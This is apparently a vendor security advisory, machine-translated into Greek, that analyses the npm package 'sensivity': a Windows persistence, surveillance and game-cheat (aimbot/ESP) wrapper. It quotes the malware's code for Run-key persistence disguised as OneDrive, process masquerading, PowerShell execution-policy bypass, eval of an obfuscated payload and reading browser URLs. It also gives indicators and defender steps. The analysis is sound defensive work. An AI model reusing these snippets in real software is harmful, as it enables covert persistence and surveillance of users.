PairLoop: Κρυφός πίνακας τηλεχειρισμού στο πακέτο npm

PairLoop: Ένα πακέτο npm, εβδομήντα εκδόσεις και ένας κρυφός πίνακας τηλεχειρισμού των Windows

TL? DR

Το πακέτο npm ευαισθησία Αυτοπροσδιορίζεται ως "Πίνακας Ελέγχου Ευαισθησίας". Στα Windows συμπεριφέρεται ως εργαλείο τηλεχειρισμού και επιτήρησης.

Το σημείο εισόδου του, launcher.js, μετονομάζει τη δική του διεργασία σε Runtime Broker, γράφει μια τιμή κλειδιού αυτόματης εκκίνησης με το όνομα OneDriveUpdate που επανεκκινεί το πακέτο μέσω ενός κρυφού VBScript, δημιουργεί το PowerShell με -ExecutionPolicy Bypassκαι στη συνέχεια αξιολογεί ένα ωφέλιμο φορτίο διακομιστή με μπερδεμένο περιεχόμενο 171 KB μαζί με μια εγγενή ενότητα 6.87 MB, sens.node.

Εξυπηρετεί έναν πίνακα ελέγχου ζεύξης τηλεφώνων στη θύρα TCP 3000 και διαβάζει τη διεύθυνση URL της γραμμής διευθύνσεων του ενεργού προγράμματος περιήγησης μέσω του Windows UIAutomation, αναζητώντας ένα ενσωματωμένο βίντεο YouTube.

Δύο μέρη που προηγουμένως έδειχναν ως μαύρα κουτιά έχουν πλέον επιλυθεί. Ο προβληματικός διακομιστής, server.obf.js, χρησιμοποιεί ένα σχήμα συμβολοσειράς-πίνακα obfuscator.io RC4. Η εκ νέου υλοποίηση του αποκωδικοποιητή του εκτός σύνδεσης (δεν εκτελείται JavaScript) ανακτά ένα μόνο εξωτερικό τελικό σημείο — https://izopi.com/check.php — μαζί με ένα ενσωματωμένο δημόσιο κλειδί RSA που χρησιμοποιείται για την επαλήθευση υπογεγραμμένων απαντήσεων άδειας χρήσης.

Η εγγενής ενότητα, sens.node, δεν είναι συσκευασμένο: ο πίνακας εισαγωγής και οι ενσωματωμένες συμβολοσειρές του το αναγνωρίζουν ως επικάλυψη εντός παιχνιδιού DirectX 11 / Dear ImGui που παρέχει λειτουργίες aimbot, ESP (wall-hack) και triggerbot, που υποστηρίζονται από έγχυση απομακρυσμένης διεργασίας και ανάγνωση/εγγραφή στη μνήμη.

Οι συμβολοσειρές μέσα σε αυτό αναφέρονται σε οντότητες οχημάτων και τοποθεσίες χαρτών που είναι συμβατές με το GTA V / FiveM. Το πακέτο npm είναι το περιτύλιγμα παράδοσης και διατήρησης γύρω από αυτήν την εγγενή ενότητα.

Το καθοριστικό σήμα είναι λειτουργικό, όχι τεχνικό: ένας μόνο ανώνυμος εκδότης προώθησε περίπου εβδομήντα εκδόσεις ενός πακέτου — 2.5.0 μέσω 2.5.69 — σε διάστημα μερικών ημερών, το καθένα φέροντας τον ίδιο εκτοξευτή.

Δεν υπάρχουν εγκαταστάσεις hooksΤο ωφέλιμο φορτίο εκτελείται μόνο όταν ξεκινήσει το πακέτο.

Η Επίθεση: Πώς Λειτουργεί

Το sensivity αποστέλλει δέκα αρχεία. Το package.json είναι αραιό: δεν υπάρχει πεδίο αποθετηρίου, δεν υπάρχει άδεια χρήσης, ένα κύριο αρχείο και δύο ψευδώνυμα bin (sensivity, sens) που όλα δείχνουν στο launcher.js και ένα σενάριο έναρξης του node launcher.js. Δεν υπάρχει μετα-εγκατάσταση ή προ-εγκατάσταση. Τίποτα δεν ενεργοποιείται κατά την εγκατάσταση npm. Η συμπεριφορά που περιγράφεται παρακάτω εκτελείται όταν ένας χρήστης ξεκινά το πακέτο — μέσω του bin shim, του σεναρίου έναρξης ή ενός require.

Το tarball περιέχει τον εκκινητή, έναν κρυπτογραφημένο διακομιστή, την εγγενή ενότητα, ένα σενάριο της Visual Basic και έναν δημόσιο/web κατάλογο για τον πίνακα ελέγχου. Το launcher.js είναι ο αναγνώσιμος ενορχηστρωτής. Η λογική που έχει σημασία κατά τον χρόνο εκτέλεσης βρίσκεται στα δύο blobs που φορτώνει — έναν κρυπτογραφημένο διακομιστή και μια μεταγλωττισμένη εγγενή ενότητα, οι οποίες αναλύονται και οι δύο παρακάτω.

 Μεταμφίεση διεργασιών και ένα ψεύτικο πρόγραμμα ενημέρωσης OneDrive

Στην αρχή της εκτέλεσης, το launcher.js ορίζει το δικό του όνομα διεργασίας δύο φορές:

   javascript process.title = 'Runtime Broker'; 

Το Runtime Broker είναι μια νόμιμη διεργασία των Windows (RuntimeBroker.exe) που μεσολαβεί για δικαιώματα εφαρμογών. Η μετονομασία μιας διεργασίας Node ώστε να ταιριάζει με αυτήν σημαίνει ότι μια γρήγορη ματιά στη Διαχείριση Εργασιών δεν δείχνει τίποτα ασυνήθιστο.

Η persistence γράφεται μέσω PowerShell αντί για ένα άμεσο API μητρώου:

javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); 

Η τιμή αυτόματης εκκίνησης ονομάζεται OneDriveUpdate και δεν δείχνει απευθείας στο πακέτο. Δείχνει στο wscript.exe που εκτελεί το πακέτο OneDrive.Standalone.Updater.vbs. Αυτό το σενάριο επανεκκινεί το node launcher.js σε ένα κρυφό παράθυρο. Τόσο το όνομα του κλειδιού Run όσο και το όνομα του αρχείου VBScript δανείζονται την επωνυμία της Microsoft, επομένως η καταχώρηση αυτόματης εκκίνησης διαβάζεται ως μια συνήθης εργασία OneDrive.

PowerShell με παράκαμψη πολιτικής εκτέλεσης

Το πρόγραμμα εκκίνησης εκτελεί επανειλημμένα πληρωμές στο PowerShell. Το sink που οι σαρωτές επισημαίνουν ως κρίσιμο είναι η εκκίνηση ενός δημιουργημένου .ps1 με απενεργοποιημένη την πολιτική εκτέλεσης:

javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); 

Η παράκαμψη ExecutionPolicy καταργεί τον έλεγχο υπογραφής τοπικού σεναρίου για αυτήν την κλήση. Τα δημιουργημένα σενάρια χειρίζονται την εργασία επιτήρησης προγράμματος περιήγησης και ανίχνευσης παραθύρων που περιγράφεται στην επόμενη ενότητα.

Ο κρυμμένος διακομιστής και η εγγενής ενότητα

Μετά την εγκατάσταση, το launcher.js φορτώνει και εκτελεί το πραγματικό του φορτίο:

const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));

Το server.obf.js είναι 171 KB συσκότισης _0x-array — το μοτίβο JavaScript όπου κάθε συμβολοσειρά και αναγνωριστικό αντικαθίσταται από ένα ευρετήριο σε έναν ανακατεμένο πίνακα και στη συνέχεια αποαναφέρεται κατά τον χρόνο εκτέλεσης. Το σχήμα είναι η παραλλαγή RC4 που παράγεται από το obfuscator.io: μια μεμονωμένη συνάρτηση αποκωδικοποιητή base64 αποκωδικοποιεί μια καταχώρηση πίνακα και στη συνέχεια την αποκρυπτογραφεί με ένα κλειδί ανά κλήση. Η εκ νέου υλοποίηση αυτού του αποκωδικοποιητή σε ξεχωριστό σενάριο — εκτελώντας μόνο την εκ νέου υλοποίηση στον εξαγόμενο πίνακα συμβολοσειράς 821 καταχωρίσεων, ποτέ την ίδια τη JavaScript του πακέτου — την ξετυλίγει καθαρά. Αυτό που εμφανίζεται είναι μέτριο αλλά decisive: μία εξωτερική διεύθυνση URL, https://izopi.com/check.php`, που έχει αντιστοιχιστεί σε μια σταθερά LICENSE_URL· ένα ενσωματωμένο RSA PUBLIC_KEY_PEM`· ο τοπικός πίνακας δρομολογεί τα /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off και /trigger/status· και οι συμβολοσειρές child_process, crypto και [Sensivity] sens.node που φορτώνονται — η τελευταία είναι η ακριβής γραμμή καταγραφής που ο εκκινητής ξαναγράφει στη φορτωμένη ενότητα προγράμματος. Το τελικό σημείο είναι ένας έλεγχος άδειας χρήσης: ο πελάτης δημοσιεύει ένα αναγνωριστικό (ο κρυμμένος διακομιστής μορφοποιεί μια συμβολοσειρά Discord ID: %s) και το κλειδί RSA επαληθεύει την υπογεγραμμένη απόκριση του διακομιστή.

Το sens.node είναι ένα εγγενές πρόσθετο μεταγλωττισμένου μεγέθους 6.87 MB και δεν είναι συσκευασμένο — η εντροπία ενότητας βρίσκεται στο 5.6–6.6 και οι πίνακες εισαγωγής και εξαγωγής PE είναι άθικτοι, επομένως οι δυνατότητές του είναι αναγνώσιμες απευθείας. Εξάγει το napi_register_module_v1, το standard Σημείο εισόδου κόμβου N-API, επομένως ο αξιολογημένος διακομιστής το φορτώνει με μια απλή απαίτηση. Ο πίνακας εισαγωγής του είναι το tell. Από το KERNEL32 τραβάει OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules και Process32First/NextW — το κανονικό σύνολο για τον εντοπισμό μιας άλλης διεργασίας, την εκχώρηση μνήμης μέσα σε αυτήν και την ανάγνωση ή την εγγραφή σε αυτήν τη μνήμη. Από το USER32 τραβάει GetAsyncKeyState, GetKeyState, mouse_event και SetCursorPos. Συνδέει τα d3d11.dll, D3DCOMPILER_43 και dwmapi για μια επικάλυψη στην οθόνη και το πλήρες σύνολο WINHTTP για κλήσεις δικτύου. Οι ενσωματωμένες συμβολοσειρές του ονομάζουν το σύνολο χαρακτηριστικών χωρίς ασάφεια: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, και το banner Dear ImGui Dear ImGui 1.91.3 WIP. Οι συμβολοσειρές τοποθεσίας και οντότητας, όπως το Grapeseed Medical Clinic και το λεξιλόγιο vehicle-ESP, είναι συμβατές με το GTA V / FiveM.

Ο διαχωρισμός είναι ουσιαστικά σκόπιμος: το αναγνώσιμο launcher.js φέρει μόνο τα μέρη που ένας σαρωτής διαβάζει εύκολα — persistence, masquerade, την ίδια την κλήση eval — ενώ η απόκρυψη κρύβει τον έναν εξωτερικό κεντρικό υπολογιστή, τις επαφές χρόνου εκτέλεσης, και το δυαδικό αρχείο περιέχει τη λογική επικάλυψης παιχνιδιού και έγχυσης διεργασίας. Το launcher είναι το λεπτό, ελεγξιμο κέλυφος. ο απόκρυφος διακομιστής κρύβει την ταυτότητα δικτύου. η εγγενής ενότητα είναι το ωφέλιμο φορτίο. Περιγράφουμε τις εισαγωγές και τις συμβολοσειρές του δυαδικού αρχείου ως αναγνωσμένες. Δεν συμπεραίνουμε τον σκοπό του χειριστή από αυτές.

 Ένας πίνακας ελέγχου σύζευξης τηλεφώνου στη θύρα 3000

Ο εκκινητής διαχειρίζεται έναν τοπικό διακομιστή ιστού στη θύρα TCP 3000 και τον αντιμετωπίζει ως singleton. Υποβάλλει ερώτημα για έναν υπάρχοντα ακροατή και τον διαγράφει πριν από τη σύνδεση:

 javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); 

Ο πίνακας είναι προσβάσιμος στη διεύθυνση http://localhost:3000, με μια ενσωματωμένη διεύθυνση URL LAN εφεδρικής διεύθυνσης http://192.168.1.16:3000. Ο κατάλογος public/ και η συμπεριφορά του πίνακα είναι συμβατά με μια ροή σύζευξης QR: ένα τηλέφωνο σαρώνει έναν κωδικό και συνδέεται με τον κεντρικό υπολογιστή ως απομακρυσμένο. Δεν εμφανίζεται κανένας εξωτερικός τομέας εντολών και ελέγχου σε καθαρό κείμενο στο πρόγραμμα εκκίνησης — αλλά, όπως δείχνει η παραπάνω απεμπλοκή, υπάρχει ένας στον απομυζημένο διακομιστή: το τελικό σημείο άδειας χρήσης izopi.com. Ο ίδιος ο πίνακας είναι τοπικός και με πεδίο εφαρμογής LAN. Ο μόνος εξερχόμενος κεντρικός υπολογιστής είναι αυτός ο έλεγχος άδειας χρήσης.

Ένα αποσπασμένο μοντέλο επόπτη/εργαζομένου διατηρεί τη διεργασία ζωντανή. Ο εκκινητής επανεμφανίζεται με τις σημαίες περιβάλλοντος SENSIVITY_SUPERVISOR και SENSIVITY_WORKER, με κάθε θυγατρική να εκτελείται κρυφά, επομένως η τερματισμός μιας διεργασίας αφήνει έναν watchdog για να την επανεκκινήσει.

Επιτήρηση προγράμματος περιήγησης και σήμα YouTube

Η πιο συγκεκριμένη συμπεριφορά είναι η παρακολούθηση του προγράμματος περιήγησης. Το launcher.js δημιουργεί PowerShell που οδηγεί το Windows UIAutomation να διαβάζει τη γραμμή διευθύνσεων ενός προγράμματος περιήγησης που εκτελείται:

 javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', 

Το ValuePattern επιστρέφει το περιεχόμενο κειμένου ενός στοιχείου UI. Εφαρμόζεται στο στοιχείο ελέγχου επεξεργασίας της γραμμής διευθύνσεων ενός προγράμματος περιήγησης, επιστρέφει τη διεύθυνση URL που βλέπει τη δεδομένη στιγμή το θύμα — χωρίς επέκταση προγράμματος περιήγησης, χωρίς να αγγίξει το προφίλ στο δίσκο και χωρίς άγκιστρο API. Το δημιουργημένο σενάριο επαναλαμβάνει μια λίστα $browserNames και εξάγει τη διεύθυνση URL ή τον τίτλο του παραθύρου οποιουδήποτε προγράμματος περιήγησης βρίσκεται στο προσκήνιο.

Αυτή η διεύθυνση URL δοκιμάζεται σε σχέση με έναν μόνο στόχο με ενσωματωμένο κώδικα:

 javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; 

Το πρόγραμμα εκκίνησης πραγματοποιεί αναζήτηση σε έναν βρόχο τριών δευτερολέπτων για ένα παράθυρο προγράμματος περιήγησης που εμφανίζει το YouTube και το δημιουργημένο PowerShell φέρει ένα ζεύγος Get-YouTubeBrowser / Test-TargetYouTubeUrl που ταιριάζει με αυτό το αναγνωριστικό βίντεο. Το παρατηρήσιμο αποτέλεσμα είναι διπλό: η ενεργή διεύθυνση URL περιήγησης διαβάζεται από την οθόνη του θύματος και ανιχνεύεται η αλληλεπίδραση του κεντρικού υπολογιστή με ένα συγκεκριμένο βίντεο YouTube. Περιγράφουμε τον μηχανισμό και τον στόχο. Δεν συμπεραίνουμε κάποιο κίνητρο από αυτά.

Η ανάγνωση της γραμμής διευθύνσεων είναι αυτό που ο σαρωτής ονομάζει sensitive_data_enumeration — μια πηγή Process::env και UIAutomation που τροφοδοτεί ένα περιβάλλον εκτέλεσης με δυνατότητα δικτύου. Είναι αβλαβής μεμονωμένα και καταλήγει σε επιτήρηση μόνο όταν ο κύκλος ζωής των δεδομένων εντοπιστεί από την πηγή UIAutomation στον κρυφό διακομιστή.

Χρονολόγιο και Εξέλιξη Έκδοσης

Η ευαισθησία δεν είναι μια εφάπαξ μεταφόρτωση. Ο λογαριασμός εκδότη έχει περίπου εβδομήντα δημοσιευμένες εκδόσεις αυτού του ενιαίου πακέτου και νέες συνέχισαν να εμφανίζονται κατά τη διάρκεια του παραθύρου αναθεώρησης. Το πρόγραμμα εκκίνησης αναπτύσσεται χαρακτηριστικό προς χαρακτηριστικό σε όλη τη γραμμή 2.5.x, ενώ η επιμονή και η φόρτωση ωφέλιμου φορτίου παραμένουν σταθερές.

Ημερομηνία (UTC) Εκδόσεις που παρατηρήθηκαν Κατάσταση εκκίνησης
2026-06-02 2.5.8 - 2.5.46 (25) Βασικός εκκινητής πίνακα QR. Μόνιμη λειτουργία κλειδιού εκτέλεσης. Αξιολόγηση κρυμμένου διακομιστή.
2026-06-03 2.5.53 - 2.5.61 (6) Ίδιο δακτυλικό αποτύπωμα· καταστολή ίχνους από την κονσόλα.
2026-06-04 2.5.67, 2.5.68 (2) Προσθέτει καρφιτσωμένο στόχο αφοσίωσης στο YouTube wJWta2lO0Lw.
2026-06-05 2.5.0 - 2.5.69 (24) Αναδημοσίευση που καλύπτει κενά σε όλο το εύρος· επόπτης/εργαζόμενος-φύλακας.

Η ανάγνωση του προγράμματος εκκίνησης σε όλους τους ληφθέντες εκπροσώπους — 2.5.0, 2.5.36 και 2.5.69 — δείχνει τέσσερα επίπεδα. Οι παλαιότερες εκδόσεις φέρουν το βασικό πρόγραμμα εκκίνησης ζεύξης QR. Από την έκδοση 2.5.33 εμφανίζεται ο συλλέκτης γραμμής διευθύνσεων UIAutomation. Από την έκδοση 2.5.58 προστίθεται ένα επίπεδο διαχείρισης επόπτη. Από την έκδοση 2.5.64, ο αποσπασμένος επόπτης/εργαζόμενος watchdog ολοκληρώνει το σύνολο. Σε όλη τη διάρκεια, τέσσερα πράγματα δεν αλλάζουν ποτέ: το κλειδί OneDriveUpdate Run, το dropper OneDrive.Standalone.Updater.vbs, το αξιολογημένο server.obf.js και η εγγενής ενότητα sens.node.

Το κύμα 2026-06-05 είναι αξιοσημείωτο επειδή επανδημοσίευσε τους χαμηλούς αριθμούς έκδοσης — 2.5.0 έως 2.5.15 — που βρίσκονται κάτω από τις εκδόσεις που επιβεβαιώθηκαν ημέρες νωρίτερα. Το αποτέλεσμα είναι μια συνεχής γραμμή 2.5.x στο μητρώο, με κάθε έκδοση να φέρει τον ίδιο εκκινητή.

Δείκτες συμβιβασμού

Όλοι οι παρακάτω δείκτες διαβάστηκαν απευθείας από το tarball του πακέτου. Το αναγνώσιμο πρόγραμμα εκκίνησης φέρει μόνο loopback και μία μόνο ιδιωτική διεύθυνση LAN. Το ένα εξωτερικό όνομα κεντρικού υπολογιστή, izopi.com, ανακτήθηκε με την απεμπλοκή του server.obf.js εκτός σύνδεσης.

Χαρακτηριστικά Δείκτης Σημειώσεις
Πακέτο npm:sensivity (≈70 εκδόσεις, 2.5.0-2.5.69) Εκδότης ενός πακέτου· χωρίς αποθετήριο· χωρίς άδεια.
Αρχεία launcher.js Ευανάγνωστος ενορχηστρωτής· κύριος και bin target.
Αρχεία server.obf.js (≈171 KB) obfuscator.io RC4 string-array payload, φορτωμένο μέσω eval(fs.readFileSync(...)).
Αρχεία sens.node (≈6.87 MB) Πρόσθετο N-API κόμβου PE32+ x86-64; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40.
Αρχεία OneDrive.Standalone.Updater.vbs Κρυφή επανεκκίνηση (node launcher.js).
Δίκτυο https://izopi.com/check.php Το τελικό σημείο άδειας χρήσης/εξουσιοδότησης ανακτήθηκε από τον προβληματικό διακομιστή. Το ενσωματωμένο δημόσιο κλειδί RSA επαληθεύει τις απαντήσεις.
Ικανότητα OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread Απομακρυσμένη εισαγωγή διεργασιών και δυνατότητα ανάγνωσης/εγγραφής στη μνήμη.
Ικανότητα Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP Επικάλυψη παιχνιδιών DirectX 11 / ImGui που υλοποιεί λειτουργίες aimbot, ESP και triggerbot.
μητρώου HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate Η τιμή αυτόματης εκκίνησης δείχνει στο wscript.exe και ο εκκινητής VBScript.
Διαδικασία process.title = 'Runtime Broker' Μεταμφιέζεται ως η νόμιμη διεργασία Windows Runtime Broker.
Συμπεριφορά powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 Παράκαμψη πολιτικής εκτέλεσης που χρησιμοποιείται για τα δημιουργημένα σενάρια PowerShell.
Συμπεριφορά UIAutomation ValuePattern ανάγνωση της γραμμής διευθύνσεων του προγράμματος περιήγησης Διαβάζει τη διεύθυνση URL του παραθύρου του προγράμματος περιήγησης στο προσκήνιο.
Συμπεριφορά Αναγνωριστικό βίντεο-στόχου wJWta2lO0Lw; δημοσκόπηση YouTube 3 δευτερολέπτων Καρφιτσωμένο σήμα παρακολούθησης εμπλοκής.
Δίκτυο http://localhost:3000, εναλλακτικό http://192.168.1.16:3000 Πίνακας ελέγχου σύζευξης QR εκτεθειμένος τοπικά και στο LAN.
Περιβάλλον SENSIVITY_SUPERVISOR, SENSIVITY_WORKER Αποσπώμενες σημαίες συντονισμού διεργασιών watchdog.

Απόδοση, Αντίκτυπος και Υπερασπιστές

Το πακέτο δημοσιεύεται από έναν μόνο λογαριασμό npm του οποίου το δηλωμένο email είναι μια μη επαληθευμένη διεύθυνση Gmail. Ο λογαριασμός φέρει μια βαθιά αρνητική βαθμολογία φήμης μητρώου, διατηρεί και δημοσιεύει μόνο αυτό το ένα πακέτο και δεν έχει συνδεδεμένο αποθετήριο πηγαίου κώδικα. Δεν έχουμε επαληθεύσει την ιδιοκτησία του email και αποδίδουμε την καμπάνια στον λογαριασμό εκδότη, όχι σε κάποιο συγκεκριμένο άτομο. Ο εκκινητής δεν φέρει υποδομή cleartext, αλλά ο ένας εξωτερικός κεντρικός υπολογιστής είναι πλέον γνωστός: ο κρυμμένος διακομιστής επικοινωνεί με το izopi.com για έλεγχο άδειας χρήσης και η εγγενής ενότητα — ανάγνωση από τον πίνακα εισαγωγής και τις συμβολοσειρές αντί για αντίστροφη εντολή προς εντολή — είναι μια επικάλυψη παιχνιδιού που εισάγει και διαβάζει τη μνήμη μιας άλλης διεργασίας.

Η παρατηρήσιμη επίδραση πέφτει στους χρήστες των Windows που εγκαθιστούν και εκτελούν την ευαισθησία αναμένοντας ένα βοηθητικό πρόγραμμα πίνακα ελέγχου. Σε αυτούς τους κεντρικούς υπολογιστές, το πακέτο δημιουργεί μια αυτόματη εκκίνηση που μεταμφιέζεται σε μια εργασία OneDrive, μετονομάζεται για να μιμείται μια διεργασία συστήματος, διαβάζει τη διεύθυνση URL οποιασδήποτε διεργασίας περιηγείται ο χρήστης και δημιουργεί έναν πίνακα αντιστοίχισης που συνδέει το μηχάνημα με ένα τηλεχειριστήριο μέσω του τοπικού δικτύου. Ο επόπτης/εργαζόμενος watchdog σημαίνει ότι ένα μόνο τερματισμός διεργασίας δεν την καταργεί. Η καταχώρηση Run-key επιβιώνει μετά από επανεκκινήσεις. Τα macOS και Linux δεν στοχεύονται από τον εκκινητή — οι διαδρομές persistence, PowerShell και UIAutomation είναι μόνο για Windows.

Η αλλαγή έκδοσης εβδομήντα εκδόσεων είναι μια τάση που αξίζει να επισημανθεί. Η αναδημοσίευση ενός πακέτου δεκάδες φορές μέσα σε λίγες ημέρες, συμπεριλαμβανομένης της συμπλήρωσης αριθμών έκδοσης κάτω από αυτούς που έχουν ήδη καταργηθεί, διατηρεί ένα ενεργό αντίγραφο στο μητρώο μεταξύ των αφαιρέσεων και απογοητεύει τις λίστες αποκλεισμού που έχουν καρφιτσωθεί σε έκδοση. Μια καταχώρηση λίστας αποκλεισμού για το sensivity@2.5.61 δεν κάνει τίποτα ενάντια στην αναδημοσίευση του sensivity@2.5.3 την επόμενη μέρα.

Οι υπερασπιστές μπορούν να ενεργήσουν ως εξής:

  • Αποκλείστε πλήρως την ευαισθησία ονόματος πακέτου στις λίστες επιτρεπόμενων registry-proxy και CI. Η καρφίτσωμα μεμονωμένων εκδόσεων επηρεάζει αρνητικά τον ρυθμό αναδημοσίευσης. Το όνομα είναι ο δείκτης ανθεκτικότητας.
  • Αναζητήστε μια τιμή Run με όνομα OneDriveUpdate της οποίας τα δεδομένα καλούν το wscript.exe σε ένα αρχείο .vbs σε μια διαδρομή ανά χρήστη. Το γνήσιο πρόγραμμα ενημέρωσης OneDrive δεν καταχωρείται με αυτόν τον τρόπο.
  • Ειδοποίηση σε μια διεργασία Node.js της οποίας το process.title είναι Runtime Broker. Ο πραγματικός broker είναι το RuntimeBroker.exe, όχι ένα Node runtime.
  • Σημαία npm ανάκτηση κατά την εγκατάσταση πακέτων που αποστέλλουν ένα μεταγλωττισμένο πρόσθετο .node συν ένα eval(fs.readFileSync(…)) ενός αδελφού αρχείου .obf.js. Αυτή η αντιστοίχιση — αδιαφανές εγγενές δυαδικό αρχείο που φορτώνεται δίπλα σε ένα φορτίο κρυμμένου κειμένου — είναι η δομική ένδειξη εδώ, ανεξάρτητα από οποιαδήποτε συμβολοσειρά IOC.
  • Αντιμετωπίστε οποιαδήποτε τοπικά συνδεδεμένη λειτουργία ακρόασης στη θύρα 3000 που δημιουργείται από μια μη αναμενόμενη διεργασία Node ως ύποπτη σε διαχειριζόμενα τελικά σημεία των Windows.
  • Αποκλεισμός ή ειδοποίηση για εξερχόμενα αιτήματα προς το izopi.com από προγραμματιστές ή κεντρικούς υπολογιστές τελικού χρήστη. Είναι το μόνο εξωτερικό τελικό σημείο του πακέτου, στο οποίο γίνεται πρόσβαση στο /check.php από τον κρυφό διακομιστή.
  • Για οποιοδήποτε πακέτο πρόσθετου .node, ελέγξτε τον πίνακα εισαγωγής του πριν το θεωρήσετε αξιόπιστο. Ο συνδυασμός OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread είναι η απομακρυσμένη έγχυση διεργασιών ανεξάρτητα από το τι ισχυρίζεται ότι κάνει το πακέτο. Εδώ βρίσκεται δίπλα σε μια επικάλυψη Direct3D και συμβολοσειρές aimbot/ESP/triggerbot.

Για στατική ανάλυση pipelines, το σχήμα καταδίκης είναι ανθεκτικό σε όλη την αλλαγή έκδοσης: ένα προφίλ εγκατάστασης εκτός δικτύου, μια ανάθεση τίτλου διεργασίας σε ένα γνωστό όνομα διεργασίας συστήματος, μια εγγραφή Run-key μέσω PowerShell και μια αξιολόγηση ενός αρχείου που διαβάζεται από δίσκο. Κανένα από αυτά δεν εξαρτάται από έναν τομέα, μια IP ή έναν αριθμό έκδοσης που μπορεί να εναλλάσσεται κατά την επόμενη αναδημοσίευση.

 Αναφορές

[npm: ευαισθησία] – σελίδα μητρώου για τη γραμμή έκδοσης πακέτου που συζητείται εδώ· υπόκειται σε κατάργηση.

εργαλεία-ανάλυσης-σύνθεσης-λογισμικού-sca
Ιεράρχηση, αποκατάσταση και ασφάλεια των κινδύνων λογισμικού σας
Αποκτήστε τον Δωρεάν Λογαριασμό σας.
Δεν απαιτείται πιστωτική κάρτα.

Ασφαλίστε την ανάπτυξη και την παράδοση λογισμικού σας

με το Xygeni Product Suite